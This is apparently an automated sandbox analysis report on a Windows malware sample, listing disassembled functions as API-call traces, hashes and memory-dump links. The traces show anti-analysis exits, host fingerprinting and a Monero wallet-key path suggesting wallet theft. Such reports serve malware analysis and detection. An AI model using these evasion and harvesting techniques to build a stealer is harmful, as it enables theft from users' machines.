Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 8ea3cb19d2591f9cc0e3030dc8c9cfb42482cc67c33ebe5131ba887703333343
Instruction ID: 8fb14cf2fcb4edad2dcc860436ea87a2f24277ddcc954ade09c662845cea7031
Opcode Fuzzy Hash: 8ea3cb19d2591f9cc0e3030dc8c9cfb42482cc67c33ebe5131ba887703333343
Instruction Fuzzy Hash: 9921EAB191421C9FDB64DB54DC85FE9B7B9FB48700F00C5D8A60996140DF716A86CFD4

Function 006F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 006F76AB
RegOpenKeyExA.KERNEL32(80000002,0164B700,00000000,00020119,00000000), ref: 006F76DD
RegQueryValueExA.KERNEL32(00000000,0165D958,00000000,00000000,?,000000FF), ref: 006F76FE
RegCloseKey.ADVAPI32(00000000), ref: 006F7708

Strings

Windows 11, xrefs: 006F76BD

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: fc7e7105b9d0c91241b5e9b535adcc4325407bac2a287d5ecfd23b43072fcf10
Instruction ID: b0776d2905f4e31744585b58c0595018b20232e360f2303623774e85a05452bf
Opcode Fuzzy Hash: fc7e7105b9d0c91241b5e9b535adcc4325407bac2a287d5ecfd23b43072fcf10
Instruction Fuzzy Hash: 910162B6A18309BBEB10EBE5DC49FBDB7BDEB48701F104454FB04D7290D67499019B51

Function 006F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7734
RtlAllocateHeap.NTDLL(00000000), ref: 006F773B
RegOpenKeyExA.KERNEL32(80000002,0164B700,00000000,00020119,006F76B9), ref: 006F775B
RegQueryValueExA.KERNEL32(006F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 006F777A
RegCloseKey.ADVAPI32(006F76B9), ref: 006F7784

Strings

CurrentBuildNumber, xrefs: 006F7771

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b44e97abd7acfe5a46b22a9a5531421442c6238b155b2c6ed69e5694a1c5f588
Instruction ID: dad8639170bec8af39b591c16643f494b222ee11b3bdd4c64efe5f348158b98d
Opcode Fuzzy Hash: b44e97abd7acfe5a46b22a9a5531421442c6238b155b2c6ed69e5694a1c5f588
Instruction Fuzzy Hash: C4014FB6A54308BBDB10DBE4DC4AFAEB7B8EB48700F104558FA05A7281DA746A019B91

Function 006F69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01650630), ref: 006F98A1
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01650840), ref: 006F98BA
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01650600), ref: 006F98D2
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,016505D0), ref: 006F98EA
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01650798), ref: 006F9903
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,016589B0), ref: 006F991B
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01646540), ref: 006F9933
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01646620), ref: 006F994C
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,016505E8), ref: 006F9964
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01650618), ref: 006F997C
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01650660), ref: 006F9995
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,016507F8), ref: 006F99AD
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,01646320), ref: 006F99C5
Part of subcall function 006F9860: GetProcAddress.KERNEL32(75900000,016506D8), ref: 006F99DE

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006E11D0: ExitProcess.KERNEL32 ref: 006E1211

Part of subcall function 006E1160: GetSystemInfo.KERNEL32(?), ref: 006E116A
Part of subcall function 006E1160: ExitProcess.KERNEL32 ref: 006E117E

Part of subcall function 006E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006E112B
Part of subcall function 006E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 006E1132
Part of subcall function 006E1110: ExitProcess.KERNEL32 ref: 006E1143

Part of subcall function 006E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006E123E
Part of subcall function 006E1220: __aulldiv.LIBCMT ref: 006E1258
Part of subcall function 006E1220: __aulldiv.LIBCMT ref: 006E1266
Part of subcall function 006E1220: ExitProcess.KERNEL32 ref: 006E1294

Part of subcall function 006F6770: GetUserDefaultLangID.KERNEL32 ref: 006F6774

Part of subcall function 006E1190: ExitProcess.KERNEL32 ref: 006E11C6

Part of subcall function 006F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006E11B7), ref: 006F7880
Part of subcall function 006F7850: RtlAllocateHeap.NTDLL(00000000), ref: 006F7887
Part of subcall function 006F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006F789F

Part of subcall function 006F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7910
Part of subcall function 006F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006F7917
Part of subcall function 006F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006F792F

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01658800,?,0070110C,?,00000000,?,00701110,?,00000000,00700AEF), ref: 006F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006F6AE8
CloseHandle.KERNEL32(00000000), ref: 006F6AF9
Sleep.KERNEL32(00001770), ref: 006F6B04
CloseHandle.KERNEL32(?,00000000,?,01658800,?,0070110C,?,00000000,?,00701110,?,00000000,00700AEF), ref: 006F6B1A
ExitProcess.KERNEL32 ref: 006F6B22

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: c6b7c2dc2b28c33e69b1319fc113e4833fa5fa8b5e600577db32a12292bdac62
Instruction ID: 32dce6eacae3874333f9fd997867239cc5a353b3407bcc8df02bc16dc9127666
Opcode Fuzzy Hash: c6b7c2dc2b28c33e69b1319fc113e4833fa5fa8b5e600577db32a12292bdac62
Instruction Fuzzy Hash: B2312CB191420CABDB44FBE0DC56BFE777AAF04340F10452CF316A6191DFB06A05D6AA

Function 006E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 006E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 006E9A31
ReadFile.KERNEL32(000000FF,?,00000000,006E148F,00000000), ref: 006E9A5A
LocalFree.KERNEL32(006E148F), ref: 006E9A90
CloseHandle.KERNEL32(000000FF), ref: 006E9A9A

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d72a3b493bd5bef33fb27596c75bfb202f89afff7fca2e9bb02bb63bfefb1b6f
Instruction ID: b55dca9c751b5f5f6e303d23e567735cfffdd4c0db84a128426d90f9bffba2d4
Opcode Fuzzy Hash: d72a3b493bd5bef33fb27596c75bfb202f89afff7fca2e9bb02bb63bfefb1b6f
Instruction Fuzzy Hash: AF3116B4A01209EFDB24CF95D985BEE77B6FF48340F108168E911A7390D775AA41CFA1

Function 006F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0165DD60), ref: 006F47DB

Part of subcall function 006F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

lstrcat.KERNEL32(?,00000000), ref: 006F4801
lstrcat.KERNEL32(?,?), ref: 006F4820
lstrcat.KERNEL32(?,?), ref: 006F4834
lstrcat.KERNEL32(?,0164B108), ref: 006F4847
lstrcat.KERNEL32(?,?), ref: 006F485B
lstrcat.KERNEL32(?,0165D718), ref: 006F486F

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006F8D90: GetFileAttributesA.KERNEL32(00000000,?,006E1B54,?,?,0070564C,?,?,00700E1F), ref: 006F8D9F

Part of subcall function 006F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006F4580
Part of subcall function 006F4570: RtlAllocateHeap.NTDLL(00000000), ref: 006F4587
Part of subcall function 006F4570: wsprintfA.USER32 ref: 006F45A6
Part of subcall function 006F4570: FindFirstFileA.KERNEL32(?,?), ref: 006F45BD

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 85a9f78a43253a8635222e15b9eab1e0a55b7f24e716e2cc9a11c9e2ccff4bed
Instruction ID: 2de9ff5f8fafa5af13bcf54e514723e2e42e933fa4528cc4bc95921ac2de00f1
Opcode Fuzzy Hash: 85a9f78a43253a8635222e15b9eab1e0a55b7f24e716e2cc9a11c9e2ccff4bed
Instruction Fuzzy Hash: 7B3152B691020C9BCB60F7A0DC85EFD7379AB58700F40458DB71996085EEB4DA898B99

Function 006E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006E123E
__aulldiv.LIBCMT ref: 006E1258
__aulldiv.LIBCMT ref: 006E1266
ExitProcess.KERNEL32 ref: 006E1294

Strings

@, xrefs: 006E1233

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 43309b027fffee148df319fc1f6ba8c09e31abb6ad9d73c0fe60dc253f0fa6ff
Instruction ID: 89f3f41a745fbce566ced5ef8befbec7f8789a5c2b4452e6becf491a3f720f29
Opcode Fuzzy Hash: 43309b027fffee148df319fc1f6ba8c09e31abb6ad9d73c0fe60dc253f0fa6ff
Instruction Fuzzy Hash: F7016DB0D45348BFEF10DBE5CC49BAEBB79AB14701F208048E705BA2C0D7B46685A79D

Function 006F40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0165D5D8,00000000,00020119,?), ref: 006F40F4
RegQueryValueExA.ADVAPI32(?,0165DD18,00000000,00000000,00000000,000000FF), ref: 006F4118
RegCloseKey.ADVAPI32(?), ref: 006F4122
lstrcat.KERNEL32(?,00000000), ref: 006F4147
lstrcat.KERNEL32(?,0165DB50), ref: 006F415B

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
